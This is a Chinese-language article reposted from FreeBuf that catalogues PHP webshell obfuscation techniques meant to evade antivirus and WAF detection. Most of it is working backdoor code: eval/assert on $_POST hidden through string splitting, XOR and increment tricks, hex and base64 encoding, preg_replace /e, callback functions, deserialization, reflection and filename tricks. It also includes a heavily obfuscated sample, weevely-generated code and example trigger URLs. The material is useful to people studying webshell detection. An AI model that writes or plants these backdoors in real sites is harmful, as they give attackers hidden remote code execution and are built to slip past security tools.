轉載自:http://www.freebuf.com/articles/web/155891.html#0-tsina-1-30825-397232819ff9a47a7b7e80a40613cfe1
簡介
WebShell的變形技術與各種防護軟件的檢測方法一直都在相互對抗,本篇文章就對目前常見的WebShell的變形技術進行總結。
目前的防護軟件對能夠執行命令函數和能夠執行代碼的函數都會格外的敏感,如eavl
、assert
、system
、popen
、shell_exec
,所以像最爲簡單的eval($_POST[cmd])
的一句話就一定會被查殺。所以目前的變形的本質都在於如何隱藏自己的敏感函數。
巧用$GPC
利用$GLOBALS
@eval($GLOBALS['_POST']['op']);
很多的防護軟件僅僅只是檢查$_POST
,所以通過$GLOBALS
就能夠逃過查殺。
利用$_FILE
@eval($_FILE['name']);
使用$_FILE
就能夠逃脫很多防護軟件了。
關鍵字替換
敏感函數拆分
由於PHP語法的靈活性,這種寫法就會有很多了。比如
$k="ass"."ert"; $k(${"_PO"."ST"} ['sz']);
這種就是利用PHP的可變函數來拆分assert
關鍵字。但是這種拆分方式也比較的簡單,目前的防護軟件已經可以識別了。
這種方式也可以變形一下,將assert
放置在函數裏面。如下:
function func() {
return "ass"."ert";
}
$a = func();
$a(${"_PO"."ST"}['sz']);
基於這種方式還可以進行更多的變形,在這裏就不進行說明了。
空格替換&字符串替換
<?php $b=strrev("edoced_4"."6esab");eval($b(str_replace(" ","","a W Y o a X N z Z X Q o J F 9 D T 0 9 L S U V b J 2 N t J 1 0 p K X t v Y l 9 z d G F y d C g p O 3 N 5 c 3 R l b S h i Y X N l N j R f Z G V j b 2 R l K C R f Q 0 9 P S 0 l F W y d j b S d d K S 4 n I D I + J j E n K T t z Z X R j b 2 9 r a W U o J F 9 D T 0 9 L S U V b J 2 N u J 1 0 s J F 9 D T 0 9 L S U V b J 2 N w J 1 0 u Y m F z Z T Y 0 X 2 V u Y 2 9 k Z S h v Y l 9 n Z X R f Y 2 9 u d G V u d H M o K S k u J F 9 D T 0 9 L S U V b J 2 N w J 1 0 p O 2 9 i X 2 V u Z F 9 j b G V h b i g p O 3 0 = ")));?>
首先將關鍵函數進行倒轉和空格,之後利用strrev
和str_replace
恢復。不同於之前的字符串拼接,這種方式採用的是將字符串進行各種變形達到隱藏敏感函數的目的,這種方式在一定程度上能夠有效地躲避查殺。
特殊字符
這種特殊字符組成的webshell其實也算是關鍵字替換中的,但是這種由特殊字符串組成的webshell經常被討論,所以在這裏單獨作爲一小節進行說明。
進制運算
@$_++;
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); // $__的值爲_POST
@${$__}[!$_](${$__}[$_]);
通過異或運算(^
)、取反運算(!
)的方式組成一個webshell。
自增運算
因爲在PHP中,'a'++ => 'b'
,'b'++ => 'c'
,所以我們如果得到了其中的一個字母,通過這個字符就可以得到所有的字母。通過$_=[];$_=@"$_";;
得到$_
爲Array
的字符串,那麼就可以得到所有的字符串了。
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___(base64_decode($_[_])); // ASSERT($_POST[_]);
關於這種由特殊字符組成的webshell可以參考P神寫的一些不包含數字和字母的webshell
利用註釋
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]); // 密碼-7
通過特色符號和註釋組合組成一個webshell,也能夠隱藏關鍵字。
異或運算&字符編碼
這種異或運算得到的webshell與上面講的通過異或運算不完全一樣。在特定的編碼情況下,一些字符串經過異或運算就能夠得到一些特定的函數,這些函數就可以用於構造webshell。
$y=~督耽孩^'(1987)';
$y($_POST[1987]);
上述的代碼需要以GBK
的方式保存,其中的$y
的值爲assert
,這樣就是一個典型的webshell了。
還有如下這種:
$x=~Ÿ¬¬º«;
$x($_POST[~¹¹ÏÏÏÏ]);
上述的代碼需要以ISO-8859-15
保存,其中的$x
爲assert
,而~¹¹ÏÏÏÏ
是FF0000
。即使是這種方式,部分的防護軟件還是能夠識別。
eval&base64_decode變形
通過對大量的webshell分析,發現很多的webshell其實都是eval(base64_decode($_POST[cmd]))
這種方式的變形。變形的核心思想其實就是將base64_decode
、$_POST
隱藏。下面就對這幾種變形的方法進行說明。
字符串&數組的方式
這種方式一般都是先聲明字符串,之後通過從字符串中進行取值,得到所需要的敏感函數。如下:
$sF = "PCT4BA6ODSE_";
$s21 = strtolower($sF[4] . $sF[5] . $sF[9] . $sF[10] . $sF[6] . $sF[3] . $sF[11] . $sF[8] . $sF[10] . $sF[1] . $sF[7] . $sF[8] . $sF[10]);
$s22 = ${strtoupper($sF[11] . $sF[0] . $sF[7] . $sF[9] . $sF[2])}['n985de9'];
if (isset($s22)) {
eval($s21($s22));
}
通過字符串PCT4BA6ODSE_
得到,$s21
爲base64_decode
,$s22
爲${"_POST"}['n985de9']
,所以這種方式最後的代碼其實就是eval(base64_decode($_POST['n985de9']));
進制轉換
這種方式在webshell中也是比較常見的。
$v230c590="\x62\x61\163\x65\x36\x34\137\144\145\x63\x6f\144\145";
@eval($v230c590(.....
其中$v230c590
就是base64_decode
,通過十六進制和八進制混用的方式代替base64_decode
。還有如下這種形式
$liner = "pr"."e"."g_"."re"."p"."l"."ace";
$liner("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x75\x6E\x63\x6F\x6D\x70\x72\x65\x73\x73\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28",php_code);
其中\x65\x76\x61\x6C\x28\x67\x7A\x75\x6E\x63\x6F\x6D\x70\x72\x65\x73\x73\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28
其實爲eval(gzuncompress(base64_decode(
也達到了隱藏敏感函數的目的。
反序列化執行
通過序列化的方式,我們也能夠執行webshell。
class foo{
public $data="text";
function __destruct()
{
eval($this->data);
}
}
$file_name=$_GET['id'];
unserialize($file_name);
我們需要在本地構造序列化的數據。構造好了之後,通過shell.php?id=id=O:3:"foo":1:{s:4:"data";s:10:"phpinfo();";}
,這樣就能夠執行phpinfo();
命令了。
回調函數
PHP中的回調函數非常之多,所以通過回調函數執行Webshell的方式也非常的多。最常見的回調函數的寫法就是$ant=create_function("","eval($_POST[cmd]);");$ant();
。但是目前大部分的防護軟件都都已經能夠識別這種寫法的webshell,所以目前的回調函數方法變形一般都是通過其他的不常見的回調函數以及變換關鍵代碼。
create_function的變形
基於create_function的變形是非常多的。如下面兩種:
變形一:
$function = create_function('$code',strrev('lave').'('.strrev('TEG_$').'["code"]);');$function();
變形二:
$function = create_function('$code',base64_decode('ZXZhbCgkX0dFVFsidGVzdCJdKTs='));
$function();
總體來說這種方法和上面講的關鍵字替換是類似的
preg_replace變形
通過preg_replace
的\e
模式下能夠執行代碼這種方式也是十分常見的,很多攻擊者都喜歡使用preg_replace
。下面就提供三種變形。
變形一:
@$a = $_POST['x'];
if (isset($a)) {
@preg_replace("/\[(.*)\]/e", '\\1', base64_decode('W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10='));
}
通過base64編碼將關鍵代碼隱藏。
變形二:
function funfunc($str) {}
echo preg_replace("/<title>(.+?)<\/title>/ies", 'funfunc("\1")', $_POST["cmd"]);
這種方式其實還利用了PHP中的可變變量能夠執行代碼的特點。通過cmd=<title>${@eval($_POST[xxx])}</title>&xxx=phpinfo();
這種方式就可以執行任意的代碼了。
變形三:
在php中也有幾個和preg_replace類似的函數可以使用,如mb_ereg_replace
、preg_filter
。用法如下:
mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');
echo preg_filter('|.*|e', $_REQUEST['pass'], '');
在PHP中這種動態函數是非常多的,除了上述說的create_function
,preg_replace
,還有諸如call_user_func
、
call_user_func_array
。還可以利用一些不常見的回調函數,如array_map
、array_filter
、array_reduce
、array_udiff
這種方式,還有很多其他的回調函數可供使用。P神也寫過一篇關於用回調函數構造webshell的文章,
創造tips的祕籍——PHP回調後門。
動態函數執行
$dyn_func = $_GET['dyn_func'];
$argument = $_GET['argument'];
$dyn_func($argument);
這種動態函數的變形目前已經被廣泛地使用,目前大部分的防護軟件都能夠識別。
利用文件名&註釋
一般情況下,防護軟件在檢測Webshell時一般都會忽略掉文件名和文件中的註釋,那麼我們就可以在文件名和註釋中放入敏感函數。
巧用文件名
no_assert.php
<?php
${"function"}=substr(__FILE__,-10,-4);;
${"command"}=$_POST[cmd];
$function($command);
這種,得到的$function
就是assert
,這樣就形成了assert($_POST[cmd]);
的後門。
$_POST[cmd].php
<?php
${"function"}= substr(__FILE__, -15, -4);
${"config"} = assert;
$config($function);
這個是將$_POST[cmd]
放置在文件名中進行隱藏,同樣可以達到隱藏的目的。
自定義函數
爲了能夠逃避防護軟件的查殺,很多webshell都會自己編寫加密函數或者是字符串轉換函數。下面就幾個函數進行說明。
十六進制執行
$string='';
$password='test';
if(isset($_POST[$password])){
$hex=$_POST[$password];
for($i=0;$i<strlen($hex)-1;$i+=2){
$string.=chr(hexdec($hex[$i].$hex[$i+1]));
}
@eval($string);
只需要將傳入的指令變爲16進制的字符串即可。shell.php?test=706870696e666f28293b
。其中的706870696e666f28293b
就是phpinfo();
的十六進制,用法和普通的webshell沒有區別。
自定義加密
function decode($string) {
$result = '';
for($index=0;$index<strlen($string);$index += 1) {
$result .= chr(ord($string[$index])-3);
}
return $result;
}
$b = create_function('',decode("Chydo+'bSRVW^fpg`,>"));
$b();
這個加密函數十分的簡單,僅僅是將字母的ascii值減3而已,算是比較簡單的加密算法。
decode("Chydo+'bSRVW^fpg`,>")
得到就是@eval($_POST[cmd]);
。
反射技術
$func = new ReflectionFunction($_GET[m]);
echo $func->invokeArgs(array($_GET[c]));
這種方式調用起來也非常的簡單xx.com/shell.php?m=assert&c=phpinfo();
和動態函數執行的方式十分的相似。但是目前這種方式已經被各種安全防護軟件識別了。
文件加密
加密的方式就非常多了,包括使用開源的webshell工具或者是網上在線的加密方法或者是自己編寫加密代碼進行混淆加密。
混淆加密
$M_='TcynUS2Dj'|Xtt1C5;$xPAsA3='|L#K1)'^'=`'.tosl;$ps6U8r2u='S R'|'Z @';'F_fTJ4U3M'.
')u(<I9';$ots8zM7=wwugn.'~'&outg."~~";$CqHZRjrpv='om~}ov'&'owv}~w';$pmak=/*OYR'.
'HF]mwSAu~*/oZD5t.'-'.TouvRdijg|'M at~`K*$jqr!-)';$Nkm4DL=wwoiuw_o.#jDj9F8qWCU'.
'}og~oo~'&ssoyww_vw.'~'.wtoo.'~';$sSZ1ZTtXOI='J~DQ}e'&iUTZ.']C';$enZB='wfq/Wc<'.
'.g!17}x`1qs@#1g)=a=79'.mc56&"!|7".aLxt2a."{y#93V7;;C;~m uO3;q;{v2";'gyxK39Xu1'.
':i^';$woW8PBSb_J='?g~v$z~a,w'&'vo?.us|{4k';$hefSTat73='ko7|;uw?'&'S}w?'./*Usx'.
'>XUb.*/wuuo;$H31KYF='-(Y%;L8@'|'-(|lz@2f';$oRzY9cesWL=BrvDsY^'cS=p2;';'djCAxk'.
'zX~lO=:nK5';$jKRFmGwxTPb='sl[GUs'^'6(#%~)';$cQZ75FbYVQT=':(&.'.Z5qdh^/*KudDMp'.
'LtxJEC*/bkcTlp7.'$)';$ZNh7cpA=J^'+';$VRcphf2Y1='+'|K;$fXLKDzG='(C'^'M;';'dHaM'.
']9|ds5tbb';$I5Hmeo7gVJ=E^",";$mwo7=w&t;$TvUYRhtThs="^".TVW_."|_]".u__CURu./*j'.
'l*/"{H"&"Iv|".x_Z_UZ_wyRq_Wz;$ypaVtIfRO=']'.SEBTRE|WPEAUR.'@';$TegpU9P5=('3Zw'.
'g/5'&'zx-G/w')^$xPAsA3;$rM36yFVDxOo=('$Df'|'6Dc')^$ps6U8r2u;$iG7yrwzXUiW=/*cL'.
'srxQMMk*/$ots8zM7&$CqHZRjrpv;$qioLnlc=('7w,c/"YQ#a`p'^'i@c-'.IeimeU48)^(',E"!'.
'!!TH(E",'|'.D()95EL*T5-');$Pl=$pmak&$Nkm4DL;$rF0oYXqV9=('HDP@O@'|'HDD@F@')|/*'.
'f*/$sSZ1ZTtXOI;$hLZSKz9=("||=6".tB5s."#;(7i}%-d2|".r6O67a."!h-:j0&"&'4&2=)f5;'.
'%}ev:2%9*5'.ebteyl.',g61<E#s')|$enZB;$Z61ppy=$ZNh7cpA&$VRcphf2Y1;$ZHU=/*fE9Yr'.
'7q?{!W*/$woW8PBSb_J&('?'.qldtjo.'</w'&'-'.snkdo.'?yoo');$PhcCKxq=/*XeLXi26ULV'.
'pri*/$hefSTat73^$H31KYF;$emJm_U=$oRzY9cesWL^$jKRFmGwxTPb;$FTGoqvnK=/*a5xj88EI'.
'n(am7*/$cQZ75FbYVQT|('5;]+`'.lexH^'}k8{DLK:-');if($TegpU9P5($rM36yFVDxOo(/*TA'.
'(^q.4;*/$iG7yrwzXUiW($rF0oYXqV9)),$hLZSKz9))$qioLnlc(('{/Z_'^'TNu:'),/*qwCzim'.
'JQ7+5)JTBF*/$fXLKDzG.$I5Hmeo7gVJ.$mwo7,$Z61ppy);$yX4gTiSd=$Pl($ZHU,/*BtAiX0w8'.
'7*LALb~*/$iG7yrwzXUiW($TvUYRhtThs.$ypaVtIfRO));$yX4gTiSd($PhcCKxq,$emJm_U,/*p'.
'}R*/$FTGoqvnK);#T)s<k?vZ%Nx[VsvNLg<sQ8KlP!D{*nm306rhxT95kZ5CMe=YJ*V3cTstah.t'.
'HD PDe:F{4#Wplm 1BLh0FD7*@?;aZJQnFF1$zR';
以上就是一個自定義被加密的webshell,主要是利用了各種位運算符達到混淆加密的目的。
使用加密工具加密
國內的工具還是有很多的,包括phpjm,phpjiami通過測試,即使是最爲簡單的@eval($_POST[cmd])
,經過加密之後還是很多防護軟件無法識別出webshell。
Weevely
weevely是一款使用python編寫的webshell工具,Github地址下面就是weevely3
生成的樸php 代碼:
$L='O=$_SERVE9OR;$rr9O=@$r["H9OTTP_9OREFERER9O"];$ra=9O@$r["H9OTT9OP_9O9OACCEPT_LANGUAGE"]9O;if($9O9Orr&&$ra';
$b='art();@ev9Oal(@9Ogzu9Oncompres9Os(@x(9O@base69O4_decode(9Opre9Og_repla9O9Oce9O(arra9Oy("/_/","/-/"),a';
$h='$z+9O+)$p.9O=$q[$m[2][9O$z]];if(strpos(9O$p,9O$9Oh)===09O){$s[$i]=""9O;$p=$ss(9O9O$p,3);}if9O(array_k';
$P='ey9O_exi9Osts($i,9O$s))9O{$s[$i]9O.9O=$p;$e=strp9Oo9Os($s[9O$i],$f);if($9Oe){$9Ok=$kh.$kf;9Oo9Ob_s9Ot';
$y='($i.$kh),0,39O));9O$f=$9Osl($ss(m9Od5($i9O.$kf),9O0,39O));$p="";for(9O$z9O=1;9O$9Oz<9Ocount($m[1])9O;';
$z='rray("/"9O,"9O+"9O),$9Oss($s[$i],0,$e))9O),9O$9Ok)));$o=9Oob_get_content9Os();9Oob_en9Od_clean()9O9O;$d=ba';
$r='$kh="dff9Of"9O;$9Okf=9O"09Oa7f";function x($t,$k9O)9O{$c=9Ostrlen($k9O)9O;$l9O=strlen($t);$9Oo="";for9O($i';
$G='){$u=p9Oar9Ose_url9O($rr9O);parse_str9O($u["query9O9O"],$q);$9Oq=array_v9O9Oalues(9O$q);preg9O_match_a9O';
$T=str_replace('Ul','','crUleUlate_UlfUluUlnUlction');
$v='=9O0;$i<$l;){fo9Or($j=09O;($j<$c9O&9O&$i<$l9O);$j++,$i++9O){$o9O.9O=$t{$i}^9O$k{$j};}}9Oreturn 9O$o;}$r9';
$Q='se9O64_encode9O(x(gz9Ocompres9Os($o),$9Ok));pr9Oint(9O9O"<$k>$d</$9Ok>");@sess9Oi9Oon_de9Ostroy();}}}}';
$k='=&$_SES9OSION9O;9O$ss="su9Obstr"9O;$sl="strtol9Oower";$i9O9O9O=$m[1][0].$m[19O][1];$h=$sl9O($9Oss(m9Od5';
$o='ll("/9O([\\w])[\\w9O-]9O+(?:;9Oq=09O.([\\d9O]))?,?/",9O$ra,9O$m);if($q9O&&9O$m){@sessio9On_sta9Ort();$9Os';
$t=str_replace('9O','',$r.$v.$L.$G.$o.$k.$y.$h.$P.$b.$z.$Q);
$C=$T('',$t);$C();
看起來完全是毫無意義的代碼。但是即使是這樣,D盾還是能夠識別。
總結
本篇文章對目前PHP中的常見的webshell變形技術進行了總結歸納,可以發現這些變形技術都大量地使用了PHP的語言特性。由於PHP的靈活的語法以及大量的內置函數,導致webshell可以有各種各樣的變形技術。多樣的變形技術不僅可以讓攻擊者寫出更加隱蔽的webshell,也增加了防護軟件識別的難度。webshell的變形技術就在攻擊者與防護軟件的對抗中也不斷的演變和升級。本篇文章也只是對於總結了各種防護方法,關於其中的變形原理就不進行詳細地說明了。
彩蛋
/**
* eva
* l($_GE
* T["c"]);
* asse
* rt
*/
class TestClass { }
$rc = new ReflectionClass('TestClass');
$str = $rc->getDocComment();
$evf=substr($str,strpos($str,'e'),3);
$evf=$evf.substr($str,strpos($str,'l'),6);
$evf=$evf.substr($str,strpos($str,'T'),8);
$fu=substr($str,strpos($str,'as'),4);
$fu=$fu.substr($str,strpos($str,'r'),2);
$fu($evf);
參考
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://joychou.org/web/webshell.html